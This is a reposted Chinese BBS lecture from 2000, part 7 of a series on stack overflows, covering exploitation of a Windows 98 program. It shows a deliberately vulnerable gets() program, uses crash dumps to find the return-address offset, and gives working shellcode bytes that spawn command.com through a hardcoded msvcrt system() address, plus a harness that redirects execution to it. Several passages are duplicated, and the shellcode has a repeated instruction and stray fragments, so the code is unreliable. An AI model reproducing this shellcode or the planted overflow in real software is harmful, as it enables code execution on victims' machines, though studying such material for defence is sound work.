荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: playboy (冷冷的太阳), 信区: Program
标  题: [转载] 堆栈溢出系列讲座(7)
发信站: BBS 荔园晨风站 (Fri Feb 25 21:54:55 2000), 转信

【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: ipxodi (乐乐~闭关苦攒论文中), 信区: Hacker
标  题: 堆栈溢出系列讲座(7)
发信站: BBS 水木清华站 (Wed Feb 23 20:34:42 2000)

堆栈溢出系列讲座
                window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#include <stdio.h>

int main()
{
        char name[32];
        gets(name);
        for(int i=0;i<32&&name[i];i++)
                printf("\\0x%x",name[i]);
}


相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我
们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏
移位置。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940


\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细
信息
按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
 <未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name
变量
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始
地址
是多少呢?

通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在
windows
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检
测,
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;

        char dllbuf[11]  = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[16] = "command.com";



        LibHandle = LoadLibrary(dllbuf);

        ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

        (ProcAdd) (cmdbuf);

        return 0;
}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

windows通过动态链接库来提供系统函数。这就是所谓的Dll's。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:

15:           LibHandle = LoadLibrary(dllbuf);
00401075   lea         edx,dword ptr [dllbuf]
00401078   push        edx
00401079   call        dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F   mov         dword ptr [LibHandle],eax
0040107F   mov         dword ptr [LibHandle],eax
16:
17:           ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082   lea         eax,dword ptr [sysbuf]
00401085   push        eax
00401086   mov         ecx,dword ptr [LibHandle]
00401089   push        ecx
0040108A   call        dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090   mov         dword ptr [ProcAdd],eax
        ;现在,eax的值为0x78019824就是system的真实地址。
        ;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19:           (ProcAdd) (cmdbuf);
00401093   lea         edx,dword ptr [cmdbuf]
        ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096   push        edx
00401097   call        dword ptr [ProcAdd]
0040109A   add         esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

是否能够像我们设计的那样工作:

0040107F   mov         dword ptr [LibHandle],eax
16:
17:           ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082   lea         eax,dword ptr [sysbuf]
00401085   push        eax
00401086   mov         ecx,dword ptr [LibHandle]
00401089   push        ecx
0040108A   call        dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090   mov         dword ptr [ProcAdd],eax
        ;现在,eax的值为0x78019824就是system的真实地址。
        ;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19:           (ProcAdd) (cmdbuf);
00401093   lea         edx,dword ptr [cmdbuf]
        ;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096   push        edx
00401097   call        dword ptr [ProcAdd]
0040109A   add         esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

是否能够像我们设计的那样工作:

               mov byte ptr [ebp-0ah],6dh  ;
               mov byte ptr [ebp-09h],6Dh  ;
               mov byte ptr [ebp-08h],61h  ;
               mov byte ptr [ebp-07h],6eh  ;
               mov byte ptr [ebp-06h],64h  ;
               mov byte ptr [ebp-05h],2Eh  ;
               mov byte ptr [ebp-04h],63h  ;
               mov byte ptr [ebp-03h],6fh  ;
               mov byte ptr [ebp-02h],6dh  ;生成串"command.com".
               lea eax,[ebp-0ch]           ;
               push eax                    ;串地址作为参数入栈
               mov eax, 0x78019824         ;
               call eax                    ;调用system
       }
}

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我
们的
程序已经把堆栈指针搞乱了。
程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
      0x8B,0xE5,                    /*mov esp, ebp               */
      0x55,                         /*push ebp                   */
      0x8B,0xEC,                    /*mov ebp, esp               */
      0x83,0xEC,0x0C,               /*sub esp, 0000000C          */
      0xB8,0x63,0x6F,0x6D,0x6D,     /*mov eax, 6D6D6F63          */

      0x89,0x45,0xF4,               /*mov dword ptr [ebp-0C], eax*/
      0xB8,0x61,0x6E,0x64,0x2E,     /*mov eax, 2E646E61          */

      0x89,0x45,0xF8,               /*mov dword ptr [ebp-08], eax*/
      0xB8,0x63,0x6F,0x6D,0x22,     /*mov eax, 226D6F63          */

      0x89,0x45,0xFC,               /*mov dword ptr [ebp-04], eax*/
      0x33,0xD2,                    /*xor edx, edx               */
      0x88,0x55,0xFF,               /*mov byte ptr [ebp-01], dl  */
      0x8D,0x45,0xF4,               /*lea eax, dword ptr [ebp-0C]*/
      0x50,                         /*push eax                   */
      0xB8,0x24,0x98,0x01,0x78,     /*mov eax, 78019824          */


      0xFF,0xD0                     /*call eax                   */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个
shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
      0x8B,0xE5,                    /*mov esp, ebp               */
      0x55,                         /*push ebp                   */
      0x8B,0xEC,                    /*mov ebp, esp               */
      0x83,0xEC,0x0C,               /*sub esp, 0000000C          */
      0xB8,0x63,0x6F,0x6D,0x6D,     /*mov eax, 6D6D6F63          */

      0x89,0x45,0xF4,               /*mov dword ptr [ebp-0C], eax*/
      0xB8,0x61,0x6E,0x64,0x2E,     /*mov eax, 2E646E61          */

      0x89,0x45,0xF8,               /*mov dword ptr [ebp-08], eax*/
      0xB8,0x63,0x6F,0x6D,0x22,     /*mov eax, 226D6F63          */

      0x89,0x45,0xFC,               /*mov dword ptr [ebp-04], eax*/
      0x33,0xD2,                    /*xor edx, edx               */
      0x33,0xD2,                    /*xor edx, edx               */
      0x88,0x55,0xFF,               /*mov byte ptr [ebp-01], dl  */
      0x8D,0x45,0xF4,               /*lea eax, dword ptr [ebp-0C]*/
      0x50,                         /*push eax                   */
      0xB8,0x24,0x98,0x01,0x78,     /*mov eax, 78019824          */

      0xFF,0xD0                     /*call eax                   */
};

int main() {
   int *ret;
   LoadLibrary("msvcrt.dll");

   ret = (int *)&ret + 2;       //ret 等于main()的返回地址
                                //(+2是因为:有push ebp ,否则加1就可以了。)

   (*ret) = (int)shellcode;     //修改main()的返回地址为shellcode的开始地
址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计
int main() {

偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆
栈溢出
的能力了,下面,我们通过实战来真正掌握他。

--
知足长乐

※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.101.131]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.90]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店